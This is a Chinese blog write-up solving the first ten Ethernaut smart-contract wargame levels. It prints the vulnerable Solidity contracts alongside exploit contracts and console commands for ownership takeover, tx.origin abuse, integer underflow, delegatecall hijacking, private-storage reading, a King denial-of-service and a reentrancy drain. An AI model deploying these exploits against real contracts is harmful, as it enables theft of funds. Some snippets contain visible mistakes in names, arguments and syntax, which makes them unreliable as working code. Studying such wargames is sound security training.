Ethernaut靶场
Date: 2022-11-10
靶场链接:ethernaut.openzeppelin.com/
01题 fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
第一段引入SafeMath的可以替换为以下的写法,屡试不爽:
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/math/SafeMath.sol";
这是我刷靶场的第一道题。题目的要求是:
you claim ownership of the contract
you reduce its balance to 0
第一个就是要求拿到合约的所有权,这个简单,其中的receive()
函数只要给它合约转一笔账,所有者就变成自己了。
当然,为了达成receive
中的require
限制条件,我们还需要执行一次contribute()
来将我们的contributions[msg.sender] > 0
:
contract.contribution({value:1});
再是查看合约地址,用metamask转账:
contract.address
可以看一看owner的地址是不是自己的:
await contract.owner()
提款: contract.withdraw()
通关成功。
知识补充:
Solidity语言中关于回退函数fallback()的定义:
回退函数是一个不接受任何参数也不返回任何值的特殊函数;
如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
一个合约中最多可以有一个回退函数。
02题 Fal1out
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
漏洞分析:
题目要求获得合约的所有权。
可以看到,下面这个函数调用了就可以拿到所有权:
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
整个合约只有这里能够改变合约的owner,直接调用就行。
在控制台输入 await contract.Fal1out()
,然后查看await contract.owner()
,我们发现owner已经变成自己了。
03题 CoinFlip
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
攻击合约:
pragma solidity ^0.6.0;
interface CoinFlip{
function flip(bool _guess) external returns(bool);
}
contract Attack{
CoinFlip constant private target = "";
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function guess() public {
uint blockValue = uint(blockHash(block.number-1));
uint coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
连续攻击十次即可,但有可能会失败。 因为抛硬币的结果是在本地进行预测的,而以太坊的区块更新时间大概为15s/perBlock,因此可能会不成功。
加入限制:
if (lastHash == blockValue) {
revert();
}
04题 Telephone
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin与msg.sender的区别
- tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。
- msg.sender是消息的发送者,也就是当前调用者。
漏洞分析:
在这道题中,发现题目中用的不是msg.sender而是tx.origin,从字面意思上其实也可以看出是什么意思。从这个切入点着手,思考该如何攻击这个合约。changeOwner()这个方法只要一调用了,这样题目中的tx.origin
是我们自己,而msg.sender
是我们部署的那个合约。
攻击合约:
contract Attack {
Telephone constant private target = Telephone(0xacA826c73Dd9cE3f0da45F54CB80faF2dEb99455);
function hack() public {
target.changeOwner(msg.sender);
}
}
做这个关卡的时候,网络延迟很厉害。([-]^[-])
05题 Token
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这道题挺简单的,关注这里:require(balances[msg.sender] - _value >= 0);
因为balances[msg.sender]和value都是uint,因此他们相减的结果一定仍然是uint(可能会存在下溢出),所以一定大于等于0。然后下面出现下溢出:balances[_to] += _value;,使得余额变得很多。 直接:
await contract.transfer("0xc6Ef69fBCEFc582E248b32fDB48f9BC685F6b1b1",21)
因此初始余额是20,所以减21。
06题 Delegation
题目代码:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
漏洞分析:
-
代码中有两个合约,Delegate与Delegation,Delegation中创建了一个Delegate的实例。第一个合约中的
pwn()
只要一调用就能修改owner
为自己。 -
查询资料发现,solidity中
delegatecall()
函数是极其危险的。
delegatecall()函数
以太坊智能合约编写中,为了代码复用,所以就抽离了一部分的公共代码,部署到一个library中,也就是类似于一个工具包。问题在于,library中不允许storage类型的变量,所以就出现了其他方法来去修改合约的状态变量,思路就是:在本合约里如何调用另一个合约的函数。
调用模式:
address.call(...) returns (bool)
address.callcode(...) returns (bool)
address.delegatecall(...) returns (bool)
这些函数传入的参数会被填充至32字节,拼接成一个字符串序列,由EVM解析并且执行。
异同点:
-
call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
-
delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
-
callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境
警告:"callcode"已被弃用,取而代之的是" delegatcall "。
知识参考链接:medium.com/coinmonks/d…
题解:
转一笔账并指定data:contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
第一次做这道题是看的题解,但是还是没明白为什么要web3.urils.keccak256("pwn()").slice(0,10)
这样写。
请教了同学之后,明白:
- 我们的攻击对象是delegatecall(),因此就要针对这个函数来攻击,所以就要传入数据来进行。
- 为什么要写web3.utils.keccak256()?这里面有两个问题,第一,写keccak()必须要加上前面的web3.utils,才能引入keccak()方法。第二,keccak()是一种被选定为SHA-3标准的单向散列函数算法,大概是一个海绵体结构,有吸入和挤出阶段。
- 为什么用slice(1,10)?其实只要有前八个就行,至于为什么是前八个,以下补充一些solidity的函数选择器知识。
函数选择器知识补充:
一个函数调用数据的前 4 字节,指定了要调用的函数。 这就是某个函数签名的 Keccak 哈希的前 4 字节(高位在左的大端序)。
07题 Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
漏洞分析:
selfconstruct()
起初看到这段代码,很奇怪为什么是空的。这道题其实就是要求该合约的余额不为0,所以这道题就是要求向它赚一笔账。因此用**selfdestruct()**函数:
Solidity 自毁函数 selfdestruct 由以太坊智能合约提供,用于销毁区块链上的合约系统。
当合约执行自毁操作时,合约账户上剩余的以太币会强制发送给指定的目标,然后其存储和代码从状态中被移除。
所以,Solidity的selfdestruct() 做两件事。
- 它使合约变为无效,有效地删除该地址的字节码。
- 它把合约的所有资金强制发送到目标地址。
这里的自毁函数里面放的address
是Force
生成的实例地址,那意思就是,普通的函数发送不到没有payable的合约,只有selfdestruct才可以做到。
这个题的逻辑是:在攻击合约有的前提下,让攻击合约自毁,在自毁函数中传入示例地址,就可以做到给示例地址转账的操作。
问题解决:
- 做题的时候忘了给攻击合约的地址转账。((^o^)/表示无语)
- 编译一直不通过,后来改掉solidity版本为0.6.0才通过。
08题 Vault
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这里我第一次看的时候确实没看出来可以从哪里来着手QAQ。
知识补充:
变量作用域
智能合约中对于变量从作用域的划分。目前的划分包括三种:
- 全局公有变量:全局变量一般储存在storage当中,而结构、数组或映射类型的局部变量,默认会放在存储 storage 中,除结构、数组及映射类型之外的局部变量,会储存在栈中。 公有(public)和私有(private)是可见性说明符(Visibility Specifier),公有变量在合约内部外部均可见,而私有变量仅在当前合约可见(可调用)。
- 全局私有变量
- 局部变量。
另外还有两个可见性类别:
-
external,表示仅在外部可见,即仅可用于消息调用;
-
internal,仅在内部可见,表示的意思是仅在Solidity合约与子合约均可见,不仅限于当前合约内。
-
internal
和private
类似,不过, 如果某个合约继承自其父合约,这个合约即可以访问父合约中定义的“内部”函数。 漏洞分析:
虽然password设置成了private无法查看,但:
因为这个私有仅限于合约层面的私有,合约之外依然可以读取 合约使用外界未知的私有变量。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值
总结:只要能计算出那个私有变量在storage中的位置,就直接调用Web3的api来获得那个变量值。
攻击:
在控制台输入,await web3.eth.getStorageAt(contract.address,1)
。
获取到password,随后继续输入await contract.unlock()
(括号中填入刚刚查到的password)
09题 King
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
漏洞分析:
这道题要求就是让自己一直是King,所以思路可以是:
-
这里的转账函数为
transfer
,根据其函数功能,我们可以令其转账过程中报错,从而返回throws
错误,无法继续执行下面的代码,这样就不会产生新的国王了 -
transfer
没有返回值,出错抛出异常,send、call出错不抛出异常,返回true或false
知识补充:
solidity转账的三种方式
- address.transfer()
- address.send()
- address.call.value(转账的金额).gas(转账最大允许支付的gas)(调用的ABI编码参数)
攻击合约:
pragma solidity ^0.6.0;
contract AttackKing {
constructor(address payable _victim) public payable {
_victim.call.gas(1000000).value(msg.value)("");
}
这里用的是第三种转账方式,提供更多的gas优先打包我的交易。
另一重攻击方式:
pragma solidity ^0.4.18;
contract KingAttack {
function KingAttack() public payable {
address victim = 0x00023c2d053a342b80116d1ff0b986f5d821a08d91; // instance address
victim.call.gas(1000000).value(msg.value);
}
}
两种大同小异。
10题 Re-Entrancy
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
攻击合约:
这里,被攻击合约里的withdraw函数使用了call,这是极其危险的。因为用call转账会一次性消耗掉所有的gas,攻击合约调用call时会触发自己的fallback函数,如果此时攻击合约里面的fallback函数逻辑里有继续取款的合约,那么被攻击合约的余额将会被洗劫一空。
pragma solidity ^0.6.0;
contract Attack {
address target = 0x6f28304754abDd1c6511ed74d7E548fff87eFE9a;//constant address
function hack() payable public {
target.call{value:1 ether}(abi.encodeWithSignature("donate(address)",this));
target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
}
fallback() payable external {
target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
}
}
知识补充:
call
call()
的返回结果是一个bool
,表示是否成功的调用,或者是失败引起了EVM异常。
call是address类型的低级成员函数,它用来与其他合约交互。它的返回值为(boll,data),分别对应call是否成功以及目标函数的返回值。
-
call是solidity官方推荐通过触发fallback或receive函数发送ETH的方法。
-
当我们不知道对方合约源代码或ABI,就没法生成合约变量;这是我们可以通过call调用对方合约的函数 call的使用格式:
目标合约地址.call(二进制编码);
abi.encodeWithSignature("函数签名", 逗号分隔的具体参数) 函数签名为“函数名(逗号分隔的参数类型)”。例如:
abi.encodeWithSignature("f(uint256,address)", _x, _addr)。
另外call在调用合约时可以指定交易发送的ETH数额和gas:
目标合约地址.call{value:发送数额, gas:gas数额}(二进制编码);
abi以及函数选择器
从外部施加给以太坊的行为都称之为向以太坊网络提交了一个交易, 调用合约函数其实是向合约地址(账户)提交了一个交易,这个交易有一个附加数据,这个附加的数据就是ABI的编码数据。
比特币的交易也可以附加数据,以太坊革命性的地方就是能把附加数据转化为都函数的执行。
因此要想和合约交互,就离不开ABI数据。
演示调用函数
以下面以个最简单的合约为例,我们看看用参数 1 调用set(uint x)
,这个交易附带的数据是什么。
pragma solidity ^0.4.0;
contract SimpleStorage {
uint storedData;
function set(uint x) public {
storedData = x;
}
function get() public constant returns (uint) {
return storedData;
}
}
当然第一步需要先把合约部署到以太坊网络(其实部署也是一个)上,然后用 “1” 作为参数调用set,如下图:
然后我们打开etherscan查看交易详情数据, 可以看到其附加数据如下图:
这个数据就是ABI的编码数据:
0x60fe47b10000000000000000000000000000000000000000000000000000000000000001
ABI 编码分析
我把上面交易的附加数据拷贝出来分析一下,这个数据可以分成两个子部分:
- 函数选择器(4字节)
0x60fe47b1 - 第一个参数(32字节)
00000000000000000000000000000000000000000000000000000000000000001
函数选择器值 实际是对函数签名字符串进行sha3(keccak256)哈希运算之后,取前4个字节,用代码表示就是:
bytes4(sha3(“set(uint256)”)) == 0x60fe47b1
参数部分则是使用对应的16进制数。
现在就好理解 附加数据怎么转化为对应的函数调用。
ABI 编码函数
那么怎么获得函数对应的ABI 数据呢, 有两种方法:
Solidity ABI 编码函数
一个是 solidity 提供了ABI的相关API, 用来直接得到ABI编码信息,这些函数有:
- abi.encode(...) returns (bytes):计算参数的ABI编码。
- abi.encodePacked(...) returns (bytes):计算参数的紧密打包编码
- abi. encodeWithSelector(bytes4 selector, ...) returns (bytes): 计算函数选择器和参数的ABI编码
- abi.encodeWithSignature(string signature, ...) returns (bytes): 等价于* abi.encodeWithSelector(bytes4(keccak256(signature), ...)
通过ABI编码函数可以在不用调用函数的情况下,获得ABI编码值,下面通过一段代码来看看这些方法的使用:
pragma solidity ^0.4.24;
contract testABI {
uint storedData;
function set(uint x) public {
storedData = x;
}
function abiEncode() public constant returns (bytes) {
abi.encode(1); // 计算1的ABI编码
return abi.encodeWithSignature("set(uint256)", 1); //计算函数set(uint256) 及参数1 的ABI 编码
}
}
大家可以运行运行下abiEncode
函数,它的输出其实就是前面调用的附加数据。
Web3 ABI 编码函数
另一个web3提供相应的API,例如使用web3计算函数选择器的方式如下:
web3.eth.abi.encodeFunctionSignature('myMethod(uint256,string)');
web3官方文档在此。[^]_[^]